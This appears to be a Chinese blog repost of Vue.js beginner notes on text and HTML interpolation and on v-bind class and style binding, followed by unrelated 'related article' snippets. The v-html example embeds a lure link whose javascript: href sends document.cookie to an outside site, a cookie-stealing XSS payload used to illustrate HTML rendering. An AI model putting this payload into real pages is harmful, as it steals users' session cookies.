当前位置： 首页 > news >正文

【前端】vue.js从入门到项目实战笔记

news 2026/3/27 7:22:06

文章目录

  • 第三章
    • 3.1 插值绑定（{{}}， v-html）
    • 3.1.1 文本插值
      • 3.1.2 HTML插值
    • 3.2 属性绑定 v-bind
      • 3.2.1 指令v-bind
      • 3.2.3 类名和样式绑定

【前端目录贴】

第三章

3.1 插值绑定（{{}}， v-html）

文本插值中的代码被解释为节点的文本内容，而HTML插值中的代码则被渲染为视图节点。

3.1.1 文本插值

文本插值的方式：用双大括号将要绑定的变量、值、表达式括住就可以实现，Vue将会获取计算后的值，并以文本的形式将其展示出来。

<div id="app"><h2>文本插值</h2><p><span class="profile">变量:</span> {{ num }}</p><p><span class="profile">表达式:</span> {{ 4 + 10 }}</p><p><span class="profile">三目运算符:</span> {{ true ? 15 : 10  }}</p><p><span class="profile">函数:</span> {{ getNum() }}</p><p><span class="profile">匿名函数:</span> {{ (() => 5 + 10)() }}</p><p><span class="profile">对象:</span> {{ {num: 15} }}</p><p><span class="profile">函数对象:</span> {{ getNum }}</p><p><span class="profile">html代码（表达式）:</span> {{ '<span>15</span>' }}</p><p><span class="profile">html代码（变量）:</span> {{ html }}</p>
</div>
<script>var vue=new Vue({el:"#app",data(){return {num:10,html:"<span>15</span>"};},methods:{getNum(){return this.num;}}});
</script>

结果：
在这里插入图片描述

3.1.2 HTML插值

<body><div id="demo"><div>{{blog}}</div><hr/><div v-html="blog">21312</div></div><script>new Vue({el:'#demo',data:{blog:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>'}})</script>
</body>

在这里插入图片描述

3.2 属性绑定 v-bind

3.2.1 指令v-bind

DOM节点的属性基本都可以用指令v-bind进行绑定.

<!-- 准备好一个容器 -->
<div id="demo"><h1 v-bind:class="className">Hello，尚硅谷</h1>
<!--    简写形式--><a  :href="hrefName">百度</a>
</div>
<script>//创建Vue实例,传一个参数,(对象,叫做配置对象)new Vue({el: '#demo', //el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串。data: { data中用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象。className: "italic",hrefName: "https://baidu.com"}})
</script>

3.2.3 类名和样式绑定

类名实际由数组拼接而成
样式有对象键值对拼接而成
(虽然都可以用其他方式表示)

  • 表达类名: 字符串, 数组, 对象

说明:将类名作为对象键名,当键值被判定为真时,类名将被绑定到节点.
js中等价于false的表达: undefined ,null,0, 空字符串, [], {},-1, -0.1

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><script type="text/javascript" src="./vue.js"></script><style>.color-gray{color: #b1191a;}.size-18{font-size: 18px;}.style-italic{font-style: italic;}</style>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="demo"><h1  class="color-gray size-18 style-italic">Hello，尚硅谷</h1><h1 v-bind:class="classStr">Hello，尚硅谷</h1><h1 v-bind:class="classArr">Hello，尚硅谷</h1><h1 v-bind:class="classObj1">Hello，尚硅谷</h1><h1 v-bind:class="classObj2">Hello，尚硅谷</h1>
</div>
<script>//创建Vue实例,传一个参数,(对象,叫做配置对象)new Vue({el: '#demo', //el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串。data: { data中用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象。classStr: "color-gray size-18 style-italic",//拼接字符串classArr: ['color-gray','size-18', 'style-italic'],//数组classObj1: {//对象,绑定类名'color-gray':true,'size-18':true,'style-italic':true},classObj2: {//对象,未绑定类名'color-gray':false,'size-18':false,'style-italic':false}}})
</script>
</body>
</html>

在这里插入图片描述
在这里插入图片描述

  • 表达样式: 字符串, 对象 (不能用数组)
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><script type="text/javascript" src="./vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="demo"><h1  style="color: gray; size:18px; font-style: italic">Hello，尚硅谷</h1><h1 v-bind:style="classStr">Hello，尚硅谷</h1><h1 v-bind:style="classArr">Hello，尚硅谷</h1><h1 v-bind:style="classObj1">Hello，尚硅谷</h1><h1 v-bind:style="classObj2">Hello，尚硅谷</h1>
</div>
<script>//创建Vue实例,传一个参数,(对象,叫做配置对象)new Vue({el: '#demo', //el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串。data: { data中用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象。classStr: "color: gray; size:18px; font-style: italic",//拼接字符串classArr: ['color: gray','size:18px', 'font-style: italic'],//数组classObj1: {//对象,绑定类名'color':'gray','size':'18px','font-style':'italic'},classObj2: {//对象,未绑定类名'color':0?'gray':'','size':''?'18px':'','font-style':null?'italic':''}}})
</script>
</body>
</html>

在这里插入图片描述

相关文章：

【前端】vue.js从入门到项目实战笔记

文章目录 第三章3.1 插值绑定&#xff08;{{}}&#xff0c; v-html&#xff09;3.1.1 文本插值3.1.2 HTML插值 3.2 属性绑定 v-bind3.2.1 指令v-bind3.2.3 类名和样式绑定 【前端目录贴】 第三章 3.1 插值绑定&#xff08;{{}}&#xff0c; v-html&#xff09; 文本插值中的代…...

编程日记 2024/1/18 17:50:26

flex布局（3）

九、骰子 *{margin:0;padding: 0;box-sizing: border-box; } .flex{display: flex;flex-flow: row wrap;justify-content: space-between;align-items: center;align-content: space-between;padding:20px; } .touzi{width: 120px;height: 120px;background-color: aliceblue;…...

编程日记 2024/1/18 17:49:25

JVM知识总结

1.概述 JVM指的是Java虚拟机&#xff0c;本质上是一个运行在计算机上的程序&#xff0c;他的职责是运行Java字节码文件&#xff0c;作用是为了支持跨平台特性。 功能&#xff1a; 装载字节码&#xff0c;解释/编译为机器码 管理数据存储和垃圾回收 优化热点代码提升效率 …...

编程日记 2024/1/18 17:48:24

读书笔记-《数据结构与算法》-摘要8[桶排序]

桶排序和归并排序有那么点点类似&#xff0c;也使用了归并的思想。大致步骤如下&#xff1a; 设置一个定量的数组当作空桶。Divide - 从待排序数组中取出元素&#xff0c;将元素按照一定的规则塞进对应的桶子去。对每个非空桶进行排序&#xff0c;通常可在塞元素入桶时进行插入…...

编程日记 2024/1/18 17:47:23

【STM32调试】寄存器调试不良问题记录持续版

STM32寄存器调试不良问题记录 NVIC&#xff08;内嵌的中断向量控制器&#xff09;EXTI&#xff08;外部中断/事件&#xff09; 记录一些stm32调试过程中&#xff1a;不易被理解、存在使用误区、不清不楚、是坑、使用常识等方面的一些记录。本记录只包含stm32的内核以及外设等寄…...

编程日记 2024/1/18 17:43:17

centos7 arm服务器编译升级安装动态库libstdc++.so.6，解决GLIBC和CXXABI版本低的问题

前言 由于centos7内置的libstdc.so.6版本太低&#xff0c;导致安装第三方包的时候&#xff0c;会报“CXXABI_1.3.8”不存在等问题。 自带的打印如下&#xff1a; strings /usr/lib64/libstdc.so.6 | grep GLIBC strings /usr/lib64/libstdc.so.6 | grep CXXABI 如图 升级 注…...

编程日记 2024/1/18 17:41:15

自动驾驶轨迹规划之碰撞检测（三）

欢迎大家关注我的B站&#xff1a; 偷吃薯片的Zheng同学的个人空间-偷吃薯片的Zheng同学个人主页-哔哩哔哩视频 (bilibili.com) 目录 1.基于圆覆盖 2.BVH 3.MATLAB自动驾驶工具箱 4 ROS内置的模型 自动驾驶轨迹规划之碰撞检测&#xff08;一&#xff09;-CSDN博客 自动驾…...

编程日记 2024/1/18 17:39:14

如何用pandas处理财报数据删除金融行业数据

要删除财报数据中的金融行业数据&#xff0c;您可以按照以下步骤使用pandas进行处理&#xff1a; 导入pandas库&#xff1a; import pandas as pd读取财报数据文件&#xff1a; df pd.read_csv(财报数据.csv)查看数据中的行业分类列&#xff1a; print(df[行业分类])确定金…...

编程日记 2024/1/18 17:37:12

oracle 19c容器数据库data dump数据泵传输数据（4）---网络传输

Transporting a Database Over the Network: Example 这个的方式导入可以不需要传输dmp文件&#xff0c;我原本是想从11g导入到pdb2的&#xff0c;但是因为版本的原因&#xff0c;就直接实验从pdb1导入到pdb2吧。 这种方式和前面完全传输的方式类似&#xff0c;不需要事先在目…...

编程日记 2024/1/18 17:35:10

IP 网络分为接入网、城域网和骨干网

根据前述的IP 网络设计思想&#xff0c;结合算力网络对 正网络的需求分析&#xff0c;卫网络的具体实现可以从架构设计利网络技术两个方面进行总体设计。 首先从架构设计上考虑&#xff0c;架构应尽量简化&#xff0c;做到“以简应繁”。因此&#xff0c;整体网络架构不宜设计…...

编程日记 2024/1/18 17:31:04

web3.0基本概念简析

web3.0概念简析 web3.0的发展史 web1.0 仅用于展示&#xff0c;无法进行点赞评论等交互 web2.0 不仅可以展示&#xff0c;还可以上传视频、图片等&#xff0c;用户可以参与创作内容并获取收益。但还是中心化的模型 缺点 1 机械化的人机验证 2 账户安全无法保证 多年未登陆…...

编程日记 2024/1/18 17:24:58

Linux/Traceback

Enumeration nmap 使用nmap初步扫描发现只开放了22和80端口&#xff0c;端口详细扫描情况如下 先看看web是什么样子的&#xff0c;打开网站发现有一条留言&#xff0c;显示该站点已经被黑了&#xff0c; 并且留下了后门 查看源代码&#xff0c;可以看到下面的注释 <!--So…...

编程日记 2024/1/18 17:22:56

陶瓷碗口缺口检测-图像分割

图像分割 由于对碗口进行缺口检测&#xff0c;因此只需要碗口的边界信息。得到陶瓷碗区域填充后的图像&#xff0c;对图像进行边缘检测。这是属于图像分割中的内容&#xff0c;在图像的边缘中&#xff0c;可以利用导数算子对数字图像求差分&#xff0c;将边缘提取出来。 本案…...

编程日记 2024/1/18 17:20:54

2023年第十四届蓝桥杯软件赛省赛总评

报名明年4月蓝桥杯软件赛的同学们&#xff0c;如果你是大一零基础&#xff0c;目前懵懂中&#xff0c;不知该怎么办&#xff0c;可以看看本博客系列&#xff1a;备赛20周合集 20周的完整安排请点击&#xff1a;20周计划 每周发1个博客&#xff0c;共20周。 在QQ群上交流答疑&am…...

编程日记 2024/1/18 17:19:53

Redis面试大全

1、什么是Redis? Redis是完全开源免费的&#xff0c;遵守BSD协议&#xff0c;是一个高性能的key-value数据库。 Redis与其他key-value缓存产品有以下三个特点&#xff1a; Redis支持数据的持久化&#xff0c;可以将内存中的数据保存在磁盘中&#xff0c;重启的时候可以再次…...

编程日记 2024/1/18 17:17:50

MFC为资源对话框添加消息处理函数和初始化控件

现在我VC6新建了一个对话框工程&#xff1b;又在资源添加了一个新的对话框&#xff0c;并为新的对话框添加了名为CTestDlg的类&#xff1b; 在主对话框的cpp文件包含#include "TestDlg.h"&#xff1b; 在主对话框的cpp文件的OnInitDialog()成员函数中&#xff0c;添…...

编程日记 2024/1/18 17:16:49

7.6 MySQL基本函数的使用(❤❤❤)

7.6 MySQL基本函数的使用 1. 提要2. 数字函数3. 字符函数3.1 替换字符3.2 左填充字符及截取字符串 4. 日期函数4.1 日期函数4.2 表达式占位符4.3 日期偏移计算4.4 日期间隔 5. 条件函数5.1 IF语句5.2 case...when语句 1. 提要 2. 数字函数 3. 字符函数 3.1 替换字符 -- INSERT…...

编程日记 2024/1/18 17:04:35

《Redis:NoSQL演进之路与Redis深度实践解析》

文章目录 关于NoSQL为什么引入NoSQL1、单机MySQL单机年代的数据库瓶颈 2、Memcached&#xff08;缓存&#xff09; MySQL 垂直拆分 &#xff08;读写分离&#xff09;3、分库分表水平拆分MySQL集群4、如今的网络架构5、总结 NoSQL的定义NoSQL的分类 Redis入门Redis能干嘛&…...

编程日记 2024/1/18 16:59:30

npm依赖库备份

常用命令 设置默认使用本地缓存安装Nodejs时会自动安装npm&#xff0c;但是局路径是C:\Users\Caffrey\AppData\Roaming\npm默认的缓存路径是C:\Users\Caffrey\AppData\Roaming\npm-cache&#xff1b;查看npm的prefix和cache路径配置信息设置路径 设置默认使用本地缓存 npm con…...

编程日记 2024/1/18 16:58:29

Python进程池multiprocessing.Pool

环境&#xff1a; 鲲鹏920:192核心 内存&#xff1a;756G python&#xff1a;3.9 python单进程的耗时 在做单纯的cpu计算的场景&#xff0c;使用单进程核多进程的耗时做如下测试&#xff1a; 单进程情况下cpu的占用了如下&#xff0c;占用一半的核心数&#xff1a; 每一步…...

编程日记 2024/1/18 16:54:24

OpenClaw与nanobot镜像结合：打造个人AI研究助手全流程

OpenClaw与nanobot镜像结合&#xff1a;打造个人AI研究助手全流程 1. 为什么需要个人AI研究助手&#xff1f; 作为一名经常需要阅读大量论文的研究者&#xff0c;我发现自己每天要重复处理许多机械性工作&#xff1a;在多个学术平台检索最新文献、下载PDF并分类存储、提取关键…...

编程新知 2026/3/27 6:47:22

手把手教你用YOLOv5训练自己的交通标志数据集（从LabelImg标注到模型部署）

从零构建YOLOv5交通标志检测器的实战指南 在自动驾驶和智能交通系统快速发展的今天&#xff0c;准确识别道路标志已成为计算机视觉领域的重要应用场景。不同于传统图像处理方法&#xff0c;基于深度学习的目标检测技术能够适应复杂环境变化&#xff0c;而YOLOv5以其卓越的速度-…...

编程新知 2026/3/27 5:48:58

OpenClaw+Qwen3-VL:30B：学术论文图表解析助手

OpenClawQwen3-VL:30B&#xff1a;学术论文图表解析助手 1. 为什么需要论文图表解析助手 作为一名经常需要阅读大量文献的科研工作者&#xff0c;我深刻体会到处理论文图表的痛苦。传统的工作流程通常是&#xff1a;下载PDF论文→手动截图→用OCR工具识别→复制数据到Excel→…...

编程新知 2026/3/27 3:41:27

OpenClaw技能市场巡礼：最适合Qwen3-32B的5个实用模块

OpenClaw技能市场巡礼&#xff1a;最适合Qwen3-32B的5个实用模块 1. 为什么需要关注技能市场&#xff1f; 第一次接触OpenClaw时&#xff0c;我以为它只是个简单的自动化脚本集合。直到在本地部署了Qwen3-32B模型后&#xff0c;才发现真正的威力藏在技能市场里。这里分享一个…...

编程新知 2026/3/27 3:23:05

变压器绕组类型 | 高频变压器绕制要点

注&#xff1a;本文为 “变压器绕制” 相关合辑。 英文引文&#xff0c;机翻未校。 如有内容异常&#xff0c;请看原文。 图片清晰度受引文原图所限。 变压器绕组类型&#xff1a;圆筒式、螺旋式、交叉式与饼式绕组 Types of Transformer Windings: Cylindrical, Helical, Cro…...

编程新知 2026/3/27 2:08:41

实战演练：基于快马平台快速构建一个电商场景的智能客服AI Agent

实战演练&#xff1a;基于快马平台快速构建一个电商场景的智能客服AI Agent 最近在做一个电商项目&#xff0c;需要给平台增加智能客服功能。传统开发流程要写大量业务逻辑代码&#xff0c;还要处理前后端对接&#xff0c;想想就头大。后来发现用InsCode(快马)平台可以快速实现…...

编程新知 2026/3/27 1:32:21

终极指南：使用Legacy-iOS-Kit轻松降级、越狱和修复旧款iOS设备

终极指南&#xff1a;使用Legacy-iOS-Kit轻松降级、越狱和修复旧款iOS设备 【免费下载链接】Legacy-iOS-Kit An all-in-one tool to downgrade/restore, save SHSH blobs, and jailbreak legacy iOS devices 项目地址: https://gitcode.com/gh_mirrors/le/Legacy-iOS-Kit …...

编程新知 2026/3/27 1:28:20

好用还专业！2026 降AIGC平台测评：工具对比+最好用AI推荐

2026年真正好用的AI论文降重与改写工具&#xff0c;核心看降重效果、去AI味、格式保留、学术适配四大指标。综合实测&#xff0c;千笔AI、ThouPen、豆包、DeepSeek、Grammarly 是当前最值得推荐的梯队&#xff0c;覆盖从免费到付费、从中文到英文、从文科到理工的全场景需求。 …...

编程新知 2026/3/27 0:51:39

Eclipse Mraa多平台支持：从树莓派到Intel Joule的无缝移植教程

Eclipse Mraa多平台支持&#xff1a;从树莓派到Intel Joule的无缝移植教程 Eclipse Mraa是一款开源的嵌入式Linux库&#xff0c;专为简化Raspberry Pi、Intel Joule等嵌入式设备上的GPIO、I2C、SPI和UART等硬件接口访问而设计。通过统一的API和跨平台兼容性&#xff0c;开发者…...

编程新知 2026/3/26 23:14:54

ETH-01模块避坑指南：为什么HTTP协议不行而TCP直接监听成功？

ETH-01模块协议选择实战&#xff1a;从HTTP困境到TCP高效监听 第一次拿到ETH-01这个串口转以太网模块时&#xff0c;我和大多数开发者一样&#xff0c;本能地选择了HTTP协议进行通信测试。毕竟在Web开发领域&#xff0c;HTTP就像空气一样无处不在。但当我花了整整两天时间调试…...

编程新知 2026/3/26 21:54:03